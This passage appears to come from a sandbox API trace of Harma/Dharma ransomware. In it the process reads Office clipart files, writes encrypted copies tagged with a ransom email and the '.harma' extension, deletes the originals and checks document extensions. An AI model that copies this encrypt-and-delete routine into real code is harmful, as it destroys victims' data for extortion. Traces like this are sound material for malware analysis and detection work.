Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1 [0147.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.933] lstrlenW (lpString=".doc") returned 4 [0147.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.933] lstrlenW (lpString=".docx") returned 5 [0147.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.933] lstrlenW (lpString=".pdf") returned 4 [0147.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.933] lstrlenW (lpString=".xls") returned 4 [0147.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.933] lstrlenW (lpString=".xlsx") returned 5 [0147.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.934] lstrlenW (lpString=".ppt") returned 4 [0147.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.934] lstrlenW (lpString=".zip") returned 4 [0147.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.934] lstrlenW (lpString=".rar") returned 4 [0147.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.934] lstrlenW (lpString=".bz2") returned 4 [0147.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.934] lstrlenW (lpString=".7z") returned 3 [0147.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.934] lstrlenW (lpString=".dbf") returned 4 [0147.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.934] lstrlenW (lpString=".1cd") returned 4 [0147.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.934] lstrlenW (lpString=".jpg") returned 4 [0147.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.935] lstrlenW (lpString=".doc") returned 4 [0147.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString=".docx") returned 5 [0147.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.935] lstrlenW (lpString=".pdf") returned 4 [0147.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString=".xls") returned 4 [0147.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.935] lstrlenW (lpString=".xlsx") returned 5 [0147.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.935] lstrlenW (lpString=".ppt") returned 4 [0147.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.935] lstrlenW (lpString=".zip") returned 4 [0147.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.935] lstrlenW (lpString=".rar") returned 4 [0147.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString=".bz2") returned 4 [0147.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString=".7z") returned 3 [0147.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.935] lstrlenW (lpString=".dbf") returned 4 [0147.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.935] lstrlenW (lpString=".1cd") returned 4 [0147.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63 [0147.935] lstrlenW (lpString=".jpg") returned 4 [0147.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.936] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0147.936] lstrlenW (lpString="BS00453_.WMF") returned 12 [0147.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.936] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2436) returned 1 [0147.936] CloseHandle (hObject=0x2e8) returned 1 [0147.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0147.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0147.937] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.937] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0147.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0147.937] GetLastError () returned 0x0 [0147.938] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x984, lpOverlapped=0x0) returned 1 [0148.126] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x990, lpOverlapped=0x0) returned 1 [0148.671] ReadFile (in: hFile=0x2e8, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0148.671] WriteFile (in: hFile=0x334, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.672] SetEndOfFile (hFile=0x334) returned 1 [0149.219] CloseHandle (hObject=0x334) returned 1 [0149.220] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.220] SetEndOfFile (hFile=0x2e8) returned 1 [0149.222] CloseHandle (hObject=0x2e8) returned 1 [0149.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0149.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.248] lstrlenW (lpString=".doc") returned 4 [0149.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.249] lstrlenW (lpString=".docx") returned 5 [0149.249] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.249] lstrlenW (lpString=".pdf") returned 4 [0149.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.249] lstrlenW (lpString=".xls") returned 4 [0149.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.249] lstrlenW (lpString=".xlsx") returned 5 [0149.249] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.249] lstrlenW (lpString=".ppt") returned 4 [0149.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.249] lstrlenW (lpString=".zip") returned 4 [0149.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.249] lstrlenW (lpString=".rar") returned 4 [0149.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.249] lstrlenW (lpString=".bz2") returned 4 [0149.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.249] lstrlenW (lpString=".7z") returned 3 [0149.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.249] lstrlenW (lpString=".dbf") returned 4 [0149.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.249] lstrlenW (lpString=".1cd") returned 4 [0149.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.249] lstrlenW (lpString=".jpg") returned 4 [0149.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.250] lstrlenW (lpString=".doc") returned 4 [0149.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.250] lstrlenW (lpString=".docx") returned 5 [0149.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0149.250] lstrlenW (lpString=".pdf") returned 4 [0149.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.250] lstrlenW (lpString=".xls") returned 4 [0149.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.250] lstrlenW (lpString=".xlsx") returned 5 [0149.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0149.250] lstrlenW (lpString=".ppt") returned 4 [0149.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.250] lstrlenW (lpString=".zip") returned 4 [0149.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.250] lstrlenW (lpString=".rar") returned 4 [0149.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.250] lstrlenW (lpString=".bz2") returned 4 [0149.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.250] lstrlenW (lpString=".7z") returned 3 [0149.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.250] lstrlenW (lpString=".dbf") returned 4 [0149.250] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.250] lstrlenW (lpString=".1cd") returned 4 [0149.250] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 63 [0149.250] lstrlenW (lpString=".jpg") returned 4 [0149.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.251] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.251] lstrlenW (lpString="CRANINST.WMF") returned 12 [0149.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0149.284] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=49546) returned 1 [0149.284] CloseHandle (hObject=0x334) returned 1 [0149.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 0x20 [0149.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0149.296] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.296] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0149.521] GetLastError () returned 0x0 [0149.521] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0xc18a, lpOverlapped=0x0) returned 1 [0149.524] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xc190, lpOverlapped=0x0) returned 1 [0149.525] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.525] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.526] SetEndOfFile (hFile=0x350) returned 1 [0149.526] CloseHandle (hObject=0x350) returned 1 [0149.526] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.526] SetEndOfFile (hFile=0x334) returned 1 [0149.529] CloseHandle (hObject=0x334) returned 1 [0149.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0149.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.532] lstrlenW (lpString=".doc") returned 4 [0149.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.532] lstrlenW (lpString=".docx") returned 5 [0149.532] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0149.532] lstrlenW (lpString=".pdf") returned 4 [0149.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.532] lstrlenW (lpString=".xls") returned 4 [0149.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.532] lstrlenW (lpString=".xlsx") returned 5 [0149.532] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0149.532] lstrlenW (lpString=".ppt") returned 4 [0149.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.532] lstrlenW (lpString=".zip") returned 4 [0149.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.532] lstrlenW (lpString=".rar") returned 4 [0149.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.532] lstrlenW (lpString=".bz2") returned 4 [0149.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.532] lstrlenW (lpString=".7z") returned 3 [0149.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.533] lstrlenW (lpString=".dbf") returned 4 [0149.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.533] lstrlenW (lpString=".1cd") returned 4 [0149.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.533] lstrlenW (lpString=".jpg") returned 4 [0149.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.533] lstrlenW (lpString=".doc") returned 4 [0149.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.533] lstrlenW (lpString=".docx") returned 5 [0149.533] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0149.533] lstrlenW (lpString=".pdf") returned 4 [0149.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.533] lstrlenW (lpString=".xls") returned 4 [0149.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.533] lstrlenW (lpString=".xlsx") returned 5 [0149.533] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0149.533] lstrlenW (lpString=".ppt") returned 4 [0149.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.533] lstrlenW (lpString=".zip") returned 4 [0149.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.533] lstrlenW (lpString=".rar") returned 4 [0149.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.533] lstrlenW (lpString=".bz2") returned 4 [0149.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.533] lstrlenW (lpString=".7z") returned 3 [0149.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.534] lstrlenW (lpString=".dbf") returned 4 [0149.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.534] lstrlenW (lpString=".1cd") returned 4 [0149.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF") returned 63 [0149.534] lstrlenW (lpString=".jpg") returned 4 [0149.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.534] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0149.534] lstrlenW (lpString="DD00261_.WMF") returned 12 [0149.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0149.535] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=37974) returned 1 [0149.535] CloseHandle (hObject=0x334) returned 1 [0149.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 0x20 [0149.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0149.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0149.535] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.535] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0149.536] GetLastError () returned 0x0 [0149.536] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x9456, lpOverlapped=0x0) returned 1 [0149.538] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x9460, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x9460, lpOverlapped=0x0) returned 1 [0149.540] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.540] WriteFile (in: hFile=0x350, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.540] SetEndOfFile (hFile=0x350) returned 1 [0149.540] CloseHandle (hObject=0x350) returned 1 [0149.540] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.540] SetEndOfFile (hFile=0x334) returned 1 [0149.543] CloseHandle (hObject=0x334) returned 1 [0149.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0149.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf")) returned 1 [0149.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF") returned 63 [0149.544] lstrlenW (lpString=".doc") returned 4 [0149.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.544] lstrlenW (lpString=".docx") returned 5 [0149.544] lstrcmpiW 